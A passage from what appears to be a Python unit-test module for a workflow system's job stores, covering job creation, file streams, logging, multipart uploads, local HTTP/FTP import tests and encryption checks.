# of them. They will still all be cleaned-up.
@classmethod
@memoize
def __new__(cls, *args):
return super(AbstractJobStoreTest.Test, cls).__new__(cls)
def _createConfig(self):
return Config()
@abstractmethod
def _createJobStore(self):
"""
:rtype: AbstractJobStore
"""
raise NotImplementedError()
def setUp(self):
super(AbstractJobStoreTest.Test, self).setUp()
self.namePrefix = 'jobstore-test-' + str(uuid.uuid4())
self.config = self._createConfig()
# Jobstores to be used in testing.
# jobstore_initialized is created with a particular configuration, as creating by self._createConfig()
# jobstore_resume_noconfig is created with the resume() method. resume() will look for a previously
# instantiated jobstore, and initialize the jobstore calling it with the found config. In this case,
# jobstore_resume_noconfig will be initialized with the config from jobstore_initialized.
self.jobstore_initialized = self._createJobStore()
self.jobstore_initialized.initialize(self.config)
self.jobstore_resumed_noconfig = self._createJobStore()
self.jobstore_resumed_noconfig.resume()
# Requirements for jobs to be created.
self.arbitraryRequirements = {'memory': 1, 'disk': 2, 'cores': 1, 'preemptable': False}
# Function to make an arbitrary new job
self.arbitraryJob = lambda: JobDescription(command='command',
jobName='arbitrary',
requirements=self.arbitraryRequirements)
self.parentJobReqs = dict(memory=12, cores=34, disk=35, preemptable=True)
self.childJobReqs1 = dict(memory=23, cores=45, disk=46, preemptable=True)
self.childJobReqs2 = dict(memory=34, cores=56, disk=57, preemptable=False)
def tearDown(self):
self.jobstore_initialized.destroy()
self.jobstore_resumed_noconfig.destroy()
super(AbstractJobStoreTest.Test, self).tearDown()
def testInitialState(self):
"""Ensure proper handling of nonexistant files."""
self.assertFalse(self.jobstore_initialized.job_exists('nonexistantFile'))
self.assertRaises(NoSuchJobException, self.jobstore_initialized.load_job, 'nonexistantFile')
def testJobCreation(self):
"""
Test creation of a job.
Does the job exist in the jobstore it is supposed to be in?
Are its attributes what is expected?
"""
jobstore = self.jobstore_initialized
# Create a job and verify its existence/properties
job = JobDescription(command='parent1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onParent')
self.assertTrue(isinstance(job.jobStoreID, TemporaryID))
jobstore.assign_job_id(job)
self.assertFalse(isinstance(job.jobStoreID, TemporaryID))
created = jobstore.create_job(job)
self.assertEqual(created, job)
self.assertTrue(jobstore.job_exists(job.jobStoreID))
self.assertEqual(job.command, 'parent1')
self.assertEqual(job.memory, self.parentJobReqs['memory'])
self.assertEqual(job.cores, self.parentJobReqs['cores'])
self.assertEqual(job.disk, self.parentJobReqs['disk'])
self.assertEqual(job.preemptable, self.parentJobReqs['preemptable'])
self.assertEqual(job.jobName, 'test1')
self.assertEqual(job.unitName, 'onParent')
def testConfigEquality(self):
"""
Ensure that the command line configurations are successfully loaded and stored.
In setUp() self.jobstore1 is created and initialized. In this test, after creating newJobStore,
.resume() will look for a previously instantiated job store and load its config options. This is expected
to be equal but not the same object.
"""
newJobStore = self._createJobStore()
newJobStore.resume()
self.assertEqual(newJobStore.config, self.config)
self.assertIsNot(newJobStore.config, self.config)
def testJobLoadEquality(self):
"""Tests that a job created via one JobStore instance can be loaded from another."""
# Create a job on the first jobstore.
jobDesc1 = JobDescription(command='jobstore1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onJS1')
self.jobstore_initialized.assign_job_id(jobDesc1)
self.jobstore_initialized.create_job(jobDesc1)
# Load it from the second jobstore
jobDesc2 = self.jobstore_resumed_noconfig.load_job(jobDesc1.jobStoreID)
self.assertEqual(jobDesc1.command, jobDesc2.command)
def testChildLoadingEquality(self):
"""Test that loading a child job operates as expected."""
job = JobDescription(command='parent1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onParent')
childJob = JobDescription(command='child1',
requirements=self.childJobReqs1,
jobName='test2', unitName='onChild1')
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.assign_job_id(childJob)
self.jobstore_initialized.create_job(job)
self.jobstore_initialized.create_job(childJob)
job.addChild(childJob.jobStoreID)
self.jobstore_initialized.update_job(job)
self.assertEqual(self.jobstore_initialized.load_job(list(job.allSuccessors())[0]).command, childJob.command)
def testPersistantFilesToDelete(self):
"""
Make sure that updating a job carries over filesToDelete.
The following demonstrates the job update pattern, where files to be deleted are referenced in
"filesToDelete" array, which is persisted to disk first. If things go wrong during the update, this list of
files to delete is used to remove the unneeded files.
"""
# Create a job.
job = JobDescription(command='job1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onJS1')
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
job.filesToDelete = ['1', '2']
self.jobstore_initialized.update_job(job)
self.assertEqual(self.jobstore_initialized.load_job(job.jobStoreID).filesToDelete, ['1', '2'])
def testUpdateBehavior(self):
"""Tests the proper behavior during updating jobs."""
jobstore1 = self.jobstore_initialized
jobstore2 = self.jobstore_resumed_noconfig
job1 = JobDescription(command='parent1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onParent')
childJob1 = JobDescription(command='child1',
requirements=self.childJobReqs1,
jobName='test2', unitName='onChild1')
childJob2 = JobDescription(command='child2',
requirements=self.childJobReqs2,
jobName='test3', unitName='onChild2')
jobstore1.assign_job_id(job1)
jobstore1.create_job(job1)
job2 = jobstore2.load_job(job1.jobStoreID)
# Create child jobs.
jobstore2.assign_job_id(childJob1)
jobstore2.create_job(childJob1)
jobstore2.assign_job_id(childJob2)
jobstore2.create_job(childJob2)
# Add them to job2.
job2.addChild(childJob1.jobStoreID)
job2.addChild(childJob2.jobStoreID)
jobstore2.update_job(job2)
# Check equivalence between jobstore1 and jobstore2.
# While job1 and job2 share a jobStoreID, job1 has not been "refreshed" to show the newly added child jobs.
self.assertNotEqual([sorted(x) for x in job2.stack], [sorted(x) for x in job1.stack])
# Reload parent job on jobstore, "refreshing" the job.
job1 = jobstore1.load_job(job1.jobStoreID)
self.assertEqual([sorted(x) for x in job2.stack], [sorted(x) for x in job1.stack])
# Jobs still shouldn't *actually* be equal, even if their contents are the same.
self.assertNotEqual(job2, job1)
# Load children on jobstore and check against equivalence
self.assertNotEqual(jobstore1.load_job(childJob1.jobStoreID), childJob1)
self.assertNotEqual(jobstore1.load_job(childJob2.jobStoreID), childJob2)
def testJobDeletions(self):
"""Tests the consequences of deleting jobs."""
# A local jobstore object for testing.
jobstore = self.jobstore_initialized
job = JobDescription(command='job1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onJob')
# Create job
jobstore.assign_job_id(job)
jobstore.create_job(job)
# Create child Jobs
child1 = JobDescription(command='child1',
requirements=self.childJobReqs1,
jobName='test2', unitName='onChild1')
child2 = JobDescription(command='job1',
requirements=self.childJobReqs2,
jobName='test3', unitName='onChild2')
# Add children to parent.
jobstore.assign_job_id(child1)
jobstore.create_job(child1)
jobstore.assign_job_id(child2)
jobstore.create_job(child2)
job.addChild(child1.jobStoreID)
job.addChild(child2.jobStoreID)
jobstore.update_job(job)
# Get it ready to run children
job.command = None
jobstore.update_job(job)
# Go get the children
childJobs = [jobstore.load_job(childID) for childID in job.nextSuccessors()]
# Test job iterator - the results of the iterator are effected by eventual
# consistency. We cannot guarantee all jobs will appear but we can assert that all
# jobs that show up are a subset of all existing jobs. If we had deleted jobs before
# this we would have to worry about ghost jobs appearing and this assertion would not
# be valid
self.assertTrue({j.jobStoreID for j in (childJobs + [job])} >= {j.jobStoreID for j in jobstore.jobs()})
# Test job deletions
# First delete parent, this should have no effect on the children
self.assertTrue(jobstore.job_exists(job.jobStoreID))
jobstore.delete_job(job.jobStoreID)
self.assertFalse(jobstore.job_exists(job.jobStoreID))
# Check the deletion of children
for childJob in childJobs:
self.assertTrue(jobstore.job_exists(childJob.jobStoreID))
jobstore.delete_job(childJob.jobStoreID)
self.assertFalse(jobstore.job_exists(childJob.jobStoreID))
self.assertRaises(NoSuchJobException, jobstore.load_job, childJob.jobStoreID)
try:
with jobstore.read_shared_file_stream('missing') as _:
pass
self.fail('Expecting NoSuchFileException')
except NoSuchFileException:
pass
def testSharedFiles(self):
"""Tests the sharing of files."""
jobstore1 = self.jobstore_initialized
jobstore2 = self.jobstore_resumed_noconfig
bar = b'bar'
with jobstore1.write_shared_file_stream('foo') as f:
f.write(bar)
# ... read that file on worker, ...
with jobstore2.read_shared_file_stream('foo') as f:
self.assertEqual(bar, f.read())
# ... and read it again on jobstore1.
with jobstore1.read_shared_file_stream('foo') as f:
self.assertEqual(bar, f.read())
with jobstore1.write_shared_file_stream('nonEncrypted', encrypted=False) as f:
f.write(bar)
self.assertUrl(jobstore1.get_shared_public_url('nonEncrypted'))
self.assertRaises(NoSuchFileException, jobstore1.get_shared_public_url, 'missing')
def testReadWriteSharedFilesTextMode(self):
"""Checks if text mode is compatible for shared file streams."""
jobstore1 = self.jobstore_initialized
jobstore2 = self.jobstore_resumed_noconfig
bar = 'bar'
with jobstore1.write_shared_file_stream('foo', encoding='utf-8') as f:
f.write(bar)
with jobstore2.read_shared_file_stream('foo', encoding='utf-8') as f:
self.assertEqual(bar, f.read())
with jobstore1.read_shared_file_stream('foo', encoding='utf-8') as f:
self.assertEqual(bar, f.read())
def testReadWriteFileStreamTextMode(self):
"""Checks if text mode is compatible for file streams."""
jobstore = self.jobstore_initialized
job = self.arbitraryJob()
jobstore.assign_job_id(job)
jobstore.create_job(job)
foo = 'foo'
bar = 'bar'
with jobstore.write_file_stream(job.jobStoreID, encoding='utf-8') as (f, fileID):
f.write(foo)
with jobstore.read_file_stream(fileID, encoding='utf-8') as f:
self.assertEqual(foo, f.read())
with jobstore.update_file_stream(fileID, encoding='utf-8') as f:
f.write(bar)
with jobstore.read_file_stream(fileID, encoding='utf-8') as f:
self.assertEqual(bar, f.read())
def testPerJobFiles(self):
"""Tests the behavior of files on jobs."""
jobstore1 = self.jobstore_initialized
jobstore2 = self.jobstore_resumed_noconfig
# Create jobNodeOnJS1
jobOnJobStore1 = JobDescription(command='job1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onJobStore1')
# First recreate job
jobstore1.assign_job_id(jobOnJobStore1)
jobstore1.create_job(jobOnJobStore1)
fileOne = jobstore2.get_empty_file_store_id(jobOnJobStore1.jobStoreID, cleanup=True)
# Check file exists
self.assertTrue(jobstore2.file_exists(fileOne))
self.assertTrue(jobstore1.file_exists(fileOne))
one = b'one'
two = b'two'
three = b'three'
# ... write to the file on jobstore2, ...
with jobstore2.update_file_stream(fileOne) as f:
f.write(one)
# ... read the file as a stream on the jobstore1, ....
with jobstore1.read_file_stream(fileOne) as f:
self.assertEqual(f.read(), one)
# ... and copy it to a temporary physical file on the jobstore1.
fh, path = tempfile.mkstemp()
try:
os.close(fh)
tmpPath = path + '.read-only'
jobstore1.read_file(fileOne, tmpPath)
try:
shutil.copyfile(tmpPath, path)
finally:
os.unlink(tmpPath)
with open(path, 'rb+') as f:
self.assertEqual(f.read(), one)
# Write a different string to the local file ...
f.seek(0)
f.truncate(0)
f.write(two)
# ... and create a second file from the local file.
fileTwo = jobstore1.write_file(path, jobOnJobStore1.jobStoreID, cleanup=True)
with jobstore2.read_file_stream(fileTwo) as f:
self.assertEqual(f.read(), two)
# Now update the first file from the local file ...
jobstore1.update_file(fileOne, path)
with jobstore2.read_file_stream(fileOne) as f:
self.assertEqual(f.read(), two)
finally:
os.unlink(path)
# Create a third file to test the last remaining method.
with jobstore2.write_file_stream(jobOnJobStore1.jobStoreID, cleanup=True) as (f, fileThree):
f.write(three)
with jobstore1.read_file_stream(fileThree) as f:
self.assertEqual(f.read(), three)
# Delete a file explicitly but leave files for the implicit deletion through the parent
jobstore2.delete_file(fileOne)
# Check the file is gone
#
for store in jobstore2, jobstore1:
self.assertFalse(store.file_exists(fileOne))
self.assertRaises(NoSuchFileException, store.read_file, fileOne, '')
try:
with store.read_file_stream(fileOne) as _:
pass
self.fail('Expecting NoSuchFileException')
except NoSuchFileException:
pass
def testStatsAndLogging(self):
"""Tests behavior of reading and writting stats and logging."""
jobstore1 = self.jobstore_initialized
jobstore2 = self.jobstore_resumed_noconfig
jobOnJobStore1 = JobDescription(command='job1',
requirements=self.parentJobReqs,
jobName='test1', unitName='onJobStore1')
jobstore1.assign_job_id(jobOnJobStore1)
jobstore1.create_job(jobOnJobStore1)
# Test stats and logging
stats = None
one = b'one'
two = b'two'
# Allows stats to be read/written to/from in read/writeStatsAndLogging.
def callback(f2):
stats.add(f2.read())
# Collects stats and logging messages.
stats = set()
# No stats or logging added yet. Expect nothing.
self.assertEqual(0, jobstore1.read_logs(callback))
self.assertEqual(set(), stats)
# Test writing and reading.
jobstore2.write_logs(one)
self.assertEqual(1, jobstore1.read_logs(callback))
self.assertEqual({one}, stats)
self.assertEqual(0, jobstore1.read_logs(callback)) # read_logs purges saved stats etc
jobstore2.write_logs(one)
jobstore2.write_logs(two)
stats = set()
self.assertEqual(2, jobstore1.read_logs(callback))
self.assertEqual({one, two}, stats)
largeLogEntry = os.urandom(self._largeLogEntrySize())
stats = set()
jobstore2.write_logs(largeLogEntry)
self.assertEqual(1, jobstore1.read_logs(callback))
self.assertEqual({largeLogEntry}, stats)
# test the readAll parameter
self.assertEqual(4, jobstore1.read_logs(callback, read_all=True))
# Delete parent
jobstore1.delete_job(jobOnJobStore1.jobStoreID)
self.assertFalse(jobstore1.job_exists(jobOnJobStore1.jobStoreID))
# TODO: Who deletes the shared files?
def testWriteLogFiles(self):
"""Test writing log files."""
jobNames = ['testStatsAndLogging_writeLogFiles']
jobLogList = ['string', b'bytes', '', b'newline\n']
config = self._createConfig()
setattr(config, 'writeLogs', '.')
setattr(config, 'writeLogsGzip', None)
StatsAndLogging.writeLogFiles(jobNames, jobLogList, config)
jobLogFile = os.path.join(config.writeLogs, jobNames[0] + '000.log')
self.assertTrue(os.path.isfile(jobLogFile))
with open(jobLogFile) as f:
self.assertEqual(f.read(), 'string\nbytes\n\nnewline\n')
os.remove(jobLogFile)
def testBatchCreate(self):
"""Test creation of many jobs."""
jobstore = self.jobstore_initialized
jobRequirements = dict(memory=12, cores=34, disk=35, preemptable=True)
jobs = []
with jobstore.batch():
for i in range(100):
overlargeJob = JobDescription(command='overlarge',
requirements=jobRequirements,
jobName='test-overlarge', unitName='onJobStore')
jobstore.assign_job_id(overlargeJob)
jobstore.create_job(overlargeJob)
jobs.append(overlargeJob)
for job in jobs:
self.assertTrue(jobstore.job_exists(job.jobStoreID))
def testGrowingAndShrinkingJob(self):
"""Make sure jobs update correctly if they grow/shrink."""
# Make some very large data, large enough to trigger
# overlarge job creation if that's a thing
# (i.e. AWSJobStore)
arbitraryLargeData = os.urandom(500000)
job = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
# Make the job grow
job.foo_attribute = arbitraryLargeData
self.jobstore_initialized.update_job(job)
check_job = self.jobstore_initialized.load_job(job.jobStoreID)
self.assertEqual(check_job.foo_attribute, arbitraryLargeData)
# Make the job shrink back close to its original size
job.foo_attribute = None
self.jobstore_initialized.update_job(job)
check_job = self.jobstore_initialized.load_job(job.jobStoreID)
self.assertEqual(check_job.foo_attribute, None)
def _prepareTestFile(self, store, size=None):
"""
Generates a URL that can be used to point at a test file in the storage mechanism
used by the job store under test by this class. Optionally creates a file at that URL.
:param: store: an object referencing the store, same type as _createExternalStore's
return value
:param int size: The size of the test file to be created.
:return: the URL, or a tuple (url, md5) where md5 is the file's hexadecimal MD5 digest
:rtype: str|(str,str)
"""
raise NotImplementedError()
@abstractmethod
def _hashTestFile(self, url):
"""
Returns hexadecimal MD5 digest of the contents of the file pointed at by the URL.
"""
raise NotImplementedError()
@abstractmethod
def _createExternalStore(self):
raise NotImplementedError()
@abstractmethod
def _cleanUpExternalStore(self, store):
"""
:param: store: an object referencing the store, same type as _createExternalStore's
return value
"""
raise NotImplementedError()
externalStoreCache = {}
def _externalStore(self):
try:
store = self.externalStoreCache[self]
except KeyError:
logger.debug('Creating new external store for %s', self)
store = self.externalStoreCache[self] = self._createExternalStore()
else:
logger.debug('Reusing external store for %s', self)
return store
@classmethod
def cleanUpExternalStores(cls):
for test, store in cls.externalStoreCache.items():
logger.debug('Cleaning up external store for %s.', test)
test._cleanUpExternalStore(store)
mpTestPartSize = 5 << 20
@classmethod
def makeImportExportTests(cls):
testClasses = [FileJobStoreTest, AWSJobStoreTest, GoogleJobStoreTest]
activeTestClassesByName = {testCls.__name__: testCls
for testCls in testClasses
if not getattr(testCls, '__unittest_skip__', False)}
def testImportExportFile(self, otherCls, size, moveExports):
"""
:param AbstractJobStoreTest.Test self: the current test case
:param AbstractJobStoreTest.Test otherCls: the test case class for the job store
to import from or export to
:param int size: the size of the file to test importing/exporting with
"""
# Prepare test file in other job store
self.jobstore_initialized.partSize = cls.mpTestPartSize
self.jobstore_initialized.moveExports = moveExports
# Test assumes imports are not linked
self.jobstore_initialized.linkImports = False
# The string in otherCls() is arbitrary as long as it returns a class that has access
# to ._externalStore() and ._prepareTestFile()
other = otherCls('testSharedFiles')
store = other._externalStore()
srcUrl, srcMd5 = other._prepareTestFile(store, size)
# Import into job store under test
jobStoreFileID = self.jobstore_initialized.import_file(srcUrl)
self.assertTrue(isinstance(jobStoreFileID, FileID))
with self.jobstore_initialized.read_file_stream(jobStoreFileID) as f:
fileMD5 = hashlib.md5(f.read()).hexdigest()
self.assertEqual(fileMD5, srcMd5)
# Export back into other job store
dstUrl = other._prepareTestFile(store)
self.jobstore_initialized.export_file(jobStoreFileID, dstUrl)
self.assertEqual(fileMD5, other._hashTestFile(dstUrl))
if otherCls.__name__ == 'FileJobStoreTest':
if isinstance(self.jobstore_initialized, FileJobStore):
jobStorePath = self.jobstore_initialized._get_file_path_from_id(jobStoreFileID)
jobStoreHasLink = os.path.islink(jobStorePath)
if self.jobstore_initialized.moveExports:
# Ensure the export performed a move / link
self.assertTrue(jobStoreHasLink)
self.assertEqual(os.path.realpath(jobStorePath), dstUrl[7:])
else:
# Ensure the export has not moved the job store file
self.assertFalse(jobStoreHasLink)
# Remove local Files
os.remove(srcUrl[7:])
os.remove(dstUrl[7:])
make_tests(testImportExportFile, cls, otherCls=activeTestClassesByName,
size=dict(zero=0,
one=1,
oneMiB=2 ** 20,
partSizeMinusOne=cls.mpTestPartSize - 1,
partSize=cls.mpTestPartSize,
partSizePlusOne=cls.mpTestPartSize + 1),
moveExports={'deactivated': None, 'activated': True})
def testImportSharedFile(self, otherCls):
"""
:param AbstractJobStoreTest.Test self: the current test case
:param AbstractJobStoreTest.Test otherCls: the test case class for the job store
to import from or export to
"""
# Prepare test file in other job store
self.jobstore_initialized.partSize = cls.mpTestPartSize
other = otherCls('testSharedFiles')
store = other._externalStore()
srcUrl, srcMd5 = other._prepareTestFile(store, 42)
# Import into job store under test
self.assertIsNone(self.jobstore_initialized.import_file(srcUrl, shared_file_name='foo'))
with self.jobstore_initialized.read_shared_file_stream('foo') as f:
fileMD5 = hashlib.md5(f.read()).hexdigest()
self.assertEqual(fileMD5, srcMd5)
if otherCls.__name__ == 'FileJobStoreTest': # Remove local Files
os.remove(srcUrl[7:])
make_tests(testImportSharedFile,
cls,
otherCls=activeTestClassesByName)
def testImportHttpFile(self):
'''Test importing a file over HTTP.'''
http = socketserver.TCPServer(('', 0), StubHttpRequestHandler)
try:
httpThread = threading.Thread(target=http.serve_forever)
httpThread.start()
try:
assignedPort = http.server_address[1]
url = 'http://localhost:%d' % assignedPort
with self.jobstore_initialized.read_file_stream(
self.jobstore_initialized.import_file(url)) as readable:
f1 = readable.read()
f2 = StubHttpRequestHandler.fileContents
if isinstance(f1, bytes) and not isinstance(f2, bytes):
f1 = f1.decode()
if isinstance(f2, bytes) and not isinstance(f1, bytes):
f1 = f1.encode()
self.assertEqual(f1, f2)
finally:
http.shutdown()
httpThread.join()
finally:
http.server_close()
def testImportFtpFile(self):
'''Test importing a file over FTP'''
ftpfile = {'name': 'foo', 'content': 'foo bar baz qux'}
ftp = FTPStubServer(0)
ftp.run()
try:
ftp.add_file(**ftpfile)
assignedPort = ftp.server.server_address[1]
url = 'ftp://user1:passwd@localhost:%d/%s' % (assignedPort, ftpfile['name'])
with self.jobstore_initialized.read_file_stream(self.jobstore_initialized.import_file(url)) as readable:
imported_content = readable.read()
# python 2/3 string/bytestring compat
if isinstance(imported_content, bytes):
imported_content = imported_content.decode('utf-8')
self.assertEqual(imported_content, ftpfile['content'])
finally:
ftp.stop()
@slow
def testFileDeletion(self):
"""
Intended to cover the batch deletion of items in the AWSJobStore, but it doesn't hurt
running it on the other job stores.
"""
n = self._batchDeletionSize()
for numFiles in (1, n - 1, n, n + 1, 2 * n):
job = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
fileIDs = [self.jobstore_initialized.get_empty_file_store_id(job.jobStoreID, cleanup=True) for _ in
range(0, numFiles)]
self.jobstore_initialized.delete_job(job.jobStoreID)
for fileID in fileIDs:
# NB: the fooStream() methods return context managers
self.assertRaises(NoSuchFileException, self.jobstore_initialized.read_file_stream(fileID).__enter__)
@slow
def testMultipartUploads(self):
"""
This test is meant to cover multi-part uploads in the AWSJobStore but it doesn't hurt
running it against the other job stores as well.
"""
# http://unix.stackexchange.com/questions/11946/how-big-is-the-pipe-buffer
bufSize = 65536
partSize = self._partSize()
self.assertEqual(partSize % bufSize, 0)
job = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
# Test file/stream ending on part boundary and within a part
for partsPerFile in (1, 2.33):
checksum = hashlib.md5()
checksumQueue = Queue(2)
# FIXME: Having a separate thread is probably overkill here
def checksumThreadFn():
while True:
_buf = checksumQueue.get()
if _buf is None:
break
checksum.update(_buf)
# Multipart upload from stream
checksumThread = Thread(target=checksumThreadFn)
checksumThread.start()
try:
# Should not block. On Linux, /dev/random blocks when it's running low on entropy
with open('/dev/urandom', 'rb') as readable:
with self.jobstore_initialized.write_file_stream(job.jobStoreID, cleanup=True) as (
writable, fileId):
for i in range(int(partSize * partsPerFile / bufSize)):
buf = readable.read(bufSize)
checksumQueue.put(buf)
writable.write(buf)
finally:
checksumQueue.put(None)
checksumThread.join()
before = checksum.hexdigest()
# Verify
checksum = hashlib.md5()
with self.jobstore_initialized.read_file_stream(fileId) as readable:
while True:
buf = readable.read(bufSize)
if not buf:
break
checksum.update(buf)
after = checksum.hexdigest()
self.assertEqual(before, after)
# Multi-part upload from file
checksum = hashlib.md5()
fh, path = tempfile.mkstemp()
try:
with os.fdopen(fh, 'wb+') as writable:
with open('/dev/urandom', 'rb') as readable:
for i in range(int(partSize * partsPerFile / bufSize)):
buf = readable.read(bufSize)
writable.write(buf)
checksum.update(buf)
fileId = self.jobstore_initialized.write_file(path, job.jobStoreID, cleanup=True)
finally:
os.unlink(path)
before = checksum.hexdigest()
# Verify
checksum = hashlib.md5()
with self.jobstore_initialized.read_file_stream(fileId) as readable:
while True:
buf = readable.read(bufSize)
if not buf:
break
checksum.update(buf)
after = checksum.hexdigest()
self.assertEqual(before, after)
self.jobstore_initialized.delete_job(job.jobStoreID)
def testZeroLengthFiles(self):
'''Test reading and writing of empty files.'''
job = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
nullFile = self.jobstore_initialized.write_file('/dev/null', job.jobStoreID, cleanup=True)
with self.jobstore_initialized.read_file_stream(nullFile) as f:
assert not f.read()
with self.jobstore_initialized.write_file_stream(job.jobStoreID, cleanup=True) as (f, nullStream):
pass
with self.jobstore_initialized.read_file_stream(nullStream) as f:
assert not f.read()
self.jobstore_initialized.delete_job(job.jobStoreID)
@slow
def testLargeFile(self):
'''Test the reading and writing of large files.'''
# Write a large file.
dirPath = self._createTempDir()
filePath = os.path.join(dirPath, 'large')
hashIn = hashlib.md5()
with open(filePath, 'wb') as f:
for i in range(0, 10):
buf = os.urandom(self._partSize())
f.write(buf)
hashIn.update(buf)
# Load the file into a jobstore.
job = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
jobStoreFileID = self.jobstore_initialized.write_file(filePath, job.jobStoreID, cleanup=True)
# Remove the local file.
os.unlink(filePath)
# Write a local copy of the file from the jobstore.
self.jobstore_initialized.read_file(jobStoreFileID, filePath)
# Reread the file to confirm success.
hashOut = hashlib.md5()
with open(filePath, 'rb') as f:
while True:
buf = f.read(self._partSize())
if not buf:
break
hashOut.update(buf)
self.assertEqual(hashIn.digest(), hashOut.digest())
def assertUrl(self, url):
prefix, path = url.split(':', 1)
if prefix == 'file':
self.assertTrue(os.path.exists(path))
else:
try:
urlopen(Request(url))
except:
self.fail()
@slow
def testCleanCache(self):
# Make a bunch of jobs
jobstore = self.jobstore_initialized
# Create parent job
rootJob = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(rootJob)
self.jobstore_initialized.create_job(rootJob)
# Create a bunch of child jobs
for i in range(100):
child = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(child)
self.jobstore_initialized.create_job(child)
rootJob.addChild(child.jobStoreID)
jobstore.update_job(rootJob)
# Make the parent the root
jobstore.set_root_job(rootJob.jobStoreID)
# See how long it takes to clean with no cache
noCacheStart = time.time()
jobstore.clean()
noCacheEnd = time.time()
noCacheTime = noCacheEnd - noCacheStart
# Make sure we have all the jobs: root and children.
self.assertEqual(len(list(jobstore.jobs())), 101)
# See how long it takes to clean with cache
jobCache = {job.jobStoreID: job
for job in jobstore.jobs()}
cacheStart = time.time()
jobstore.clean(jobCache)
cacheEnd = time.time()
cacheTime = cacheEnd - cacheStart
logger.debug("Without cache: %f, with cache: %f.", noCacheTime, cacheTime)
# Running with the cache should be faster.
self.assertTrue(cacheTime <= noCacheTime)
# NB: the 'thread' method seems to be needed here to actually
# ensure the timeout is raised, probably because the only
# "live" thread doesn't hold the GIL.
@pytest.mark.timeout(45, method='thread')
def testPartialReadFromStream(self):
"""Test whether readFileStream will deadlock on a partial read."""
job = self.arbitraryJob()
self.jobstore_initialized.assign_job_id(job)
self.jobstore_initialized.create_job(job)
with self.jobstore_initialized.write_file_stream(job.jobStoreID, cleanup=True) as (f, fileID):
# Write enough data to make sure the writer thread
# will get blocked on the write. Technically anything
# greater than the pipe buffer size plus the libc
# buffer size (64K + 4K(?)) should trigger this bug,
# but this gives us a lot of extra room just to be sure.
# python 3 requires self.fileContents to be a bytestring
a = b'a'
f.write(a * 300000)
with self.jobstore_initialized.read_file_stream(fileID) as f:
self.assertEqual(f.read(1), a)
# If it times out here, there's a deadlock
@abstractmethod
def _corruptJobStore(self):
"""
Deletes some part of the physical storage represented by a job store.
"""
raise NotImplementedError()
@slow
def testDestructionOfCorruptedJobStore(self):
self._corruptJobStore()
jobstore = self._createJobStore()
jobstore.destroy()
# Note that self.jobstore_initialized.destroy() is done as part of shutdown
def testDestructionIdempotence(self):
# Jobstore is fully initialized
self.jobstore_initialized.destroy()
# Create a second instance for the same physical storage but do not .initialize() or
# .resume() it.
cleaner = self._createJobStore()
cleaner.destroy()
# And repeat
self.jobstore_initialized.destroy()
cleaner = self._createJobStore()
cleaner.destroy()
def testEmptyFileStoreIDIsReadable(self):
"""Simply creates an empty fileStoreID and attempts to read from it."""
id = self.jobstore_initialized.get_empty_file_store_id()
fh, path = tempfile.mkstemp()
try:
self.jobstore_initialized.read_file(id, path)
self.assertTrue(os.path.isfile(path))
finally:
os.unlink(path)
def _largeLogEntrySize(self):
"""
Sub-classes may want to override these in order to maximize test coverage
"""
return 1 * 1024 * 1024
def _batchDeletionSize(self):
return 10
def _partSize(self):
return 5 * 1024 * 1024
class AbstractEncryptedJobStoreTest:
# noinspection PyAbstractClass
class Test(AbstractJobStoreTest.Test, metaclass=ABCMeta):
"""
A test of job stores that use encryption
"""
def setUp(self):
# noinspection PyAttributeOutsideInit
self.sseKeyDir = tempfile.mkdtemp()
super(AbstractEncryptedJobStoreTest.Test, self).setUp()
def tearDown(self):
super(AbstractEncryptedJobStoreTest.Test, self).tearDown()
shutil.rmtree(self.sseKeyDir)
def _createConfig(self):
config = super(AbstractEncryptedJobStoreTest.Test, self)._createConfig()
sseKeyFile = os.path.join(self.sseKeyDir, 'keyFile')
with open(sseKeyFile, 'w') as f:
f.write('01234567890123456789012345678901')
config.sseKey = sseKeyFile
# config.attrib['sse_key'] = sseKeyFile
return config
def testEncrypted(self):
"""
Create an encrypted file. Read it in encrypted mode then try with encryption off
to ensure that it fails.
"""
phrase = b'This file is encrypted.'
fileName = 'foo'
with self.jobstore_initialized.write_shared_file_stream(fileName, encrypted=True) as f:
f.write(phrase)
with self.jobstore_initialized.read_shared_file_stream(fileName) as f:
self.assertEqual(phrase, f.read())
# disable encryption
self.jobstore_initialized.config.sseKey = None
try:
with self.jobstore_initialized.read_shared_file_stream(fileName) as f:
self.assertEqual(phrase, f.read())
except AssertionError as e:
self.assertEqual("Content is encrypted but no key was provided.", e.args[0])
else:
self.fail("Read encryption content with encryption off.")
class FileJobStoreTest(AbstractJobStoreTest.Test):
def _createJobStore(self):
# Make a FileJobStore with an artificially low fan out threshold, to
# make sure to test fan out logic
return FileJobStore(self.namePrefix, fanOut=2)
def _corruptJobStore(self):
assert isinstance(self.jobstore_initialized, FileJobStore) # type hint
shutil.rmtree(self.jobstore_initialized.jobStoreDir)
def _prepareTestFile(self, dirPath, size=None):
fileName = 'testfile_%s' % uuid.uuid4()
localFilePath = dirPath + fileName
url = 'file://%s' % localFilePath
if size is None:
return url
else:
content = os.urandom(size)
with open(localFilePath, 'wb') as writable:
writable.write(content)
return url, hashlib.md5(content).hexdigest()
def _hashTestFile(self, url):
localFilePath = FileJobStore._extract_path_from_url(urlparse.urlparse(url))
with open(localFilePath, 'rb') as f:
return hashlib.md5(f.read()).hexdigest()
def _createExternalStore(self):
return tempfile.mkdtemp()
def _cleanUpExternalStore(self, dirPath):
shutil.rmtree(dirPath)
def testPreserveFileName(self):
"""Check that the fileID ends with the given file name."""
fh, path = tempfile.mkstemp()
try:
